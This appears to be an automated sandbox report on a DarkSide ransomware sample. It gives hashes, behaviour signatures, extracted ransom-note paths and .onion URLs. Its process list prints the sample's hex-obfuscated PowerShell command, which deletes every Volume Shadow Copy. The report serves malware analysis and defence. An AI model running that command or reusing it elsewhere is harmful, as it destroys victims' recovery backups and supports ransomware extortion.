Analysis
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max time kernel
99s -
max time network
110s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
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Target
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
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Size
59KB
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MD5
47a4420ad26f60bb6bba5645326fa963
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SHA1
7a29a8f5e14da1ce40365849eb59487dbb389d08
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SHA256
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134
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SHA512
08c82585fbab8e090e67e4571f7428bffaf68f9a8c2e34b72f9688205ee880a6435aa813b8845a0b0281c80b78774b969032cc27fc98d3f0e67116dabcf77127
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa
http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
010c219c46b4439bc787644989e20389
SHA1f3a63066ab4446458bd6417386777e39e09b9b25
SHA2562a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
SHA512c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
04e2bde1624f76894fcd09d0203ea37e
SHA1caf9fc6e55a6bbb8b28ade040e33beb23d7876e9
SHA2566e24d5127a82854bef58ecaa9c4fca64505e53631089fb62b44873e08ee137a5
SHA512cf57b214b9c21e641a541532e912f6c8da0a50d2061f5a36b264b88d51a68d750d0167827cd53e1ef16a43d688ca413c25931fe6744195451c4564ff13173995
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memory/1520-114-0x0000000000000000-mapping.dmp
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memory/1520-120-0x000001D81BE60000-0x000001D81BE61000-memory.dmpFilesize
4KB
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memory/1520-124-0x000001D81E0F0000-0x000001D81E0F1000-memory.dmpFilesize
4KB
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memory/1520-127-0x000001D81BE90000-0x000001D81BE92000-memory.dmpFilesize
8KB
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memory/1520-128-0x000001D81BE93000-0x000001D81BE95000-memory.dmpFilesize
8KB
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memory/1520-129-0x000001D81BE96000-0x000001D81BE98000-memory.dmpFilesize
8KB